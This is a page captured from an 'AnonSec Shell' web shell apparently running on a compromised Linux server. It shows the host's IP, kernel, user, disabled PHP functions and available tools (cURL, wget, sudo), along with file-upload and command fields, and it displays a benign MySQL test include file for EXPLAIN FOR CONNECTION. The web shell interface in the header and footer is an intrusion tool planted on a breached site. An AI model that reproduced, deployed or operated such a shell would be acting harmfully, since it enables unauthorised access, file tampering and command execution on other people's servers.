AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.213
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/include/explain_for_connection.inc
# Prerequisites:
# connections:
#   cq - connection where queries are run
#   ce - connection where explain is run
# variables:
#   query - query to explain
#   format - explain format: 'json' for json, or traditional otherwise
#   point  - syncing point
#   replace - a string that will be used by replace_regex to mask instabilities

--disable_reconnect
--disable_query_log
--enable_result_log

if ($format == 'json')
{
  let $fmt= FORMAT=JSON;
}

if ($format != 'json')
{
  let $fmt= FORMAT=TRADITIONAL;
}

connection cq;
SET DEBUG_SYNC= 'RESET';

# Grab output of regular explain
--replace_regex $replace
--output $MYSQL_TMP_DIR/EN
eval EXPLAIN $fmt $query;


# Grap output of EXPLAIN FOR CONNECTION
let $QID= `SELECT CONNECTION_ID()`;
eval SET DEBUG_SYNC= '$point SIGNAL ready_for_explain WAIT_FOR explained';
send_eval $query;

connection ce;
# Let the query reach sync point (i.e pass optimization and prepare plan)

SET DEBUG_SYNC= 'now WAIT_FOR ready_for_explain';
SET DEBUG_SYNC= 'after_explain_other SIGNAL explained';
--replace_regex $replace
--output $MYSQL_TMP_DIR/EO
eval EXPLAIN $fmt FOR CONNECTION $QID;

connection cq;
--disable_result_log
reap;
--enable_result_log
SET DEBUG_SYNC= 'RESET';

--error 0,1,2
--exec diff -U 1 $MYSQL_TMP_DIR/EN $MYSQL_TMP_DIR/EO > $MYSQL_TMP_DIR/ED;
let $status= $__error;
if ($status == 2)
{
  die "Error from diff";
}

if ($status)
{
echo QUERY: $query;
echo STATUS:NOT_EQUAL;
echo SYNC_POINT:$point;
echo Diff: EXPLAIN NORMAL vs OTHER;
--exec grep -v -e "---" -e "+++" $MYSQL_TMP_DIR/ED;
}

if (!$status)
{
echo QUERY: $query;
echo STATUS: EQUAL;
}

remove_file $MYSQL_TMP_DIR/EN;
remove_file $MYSQL_TMP_DIR/EO;
remove_file $MYSQL_TMP_DIR/ED;

--disable_result_log

Anon7 - 2022
AnonSec Team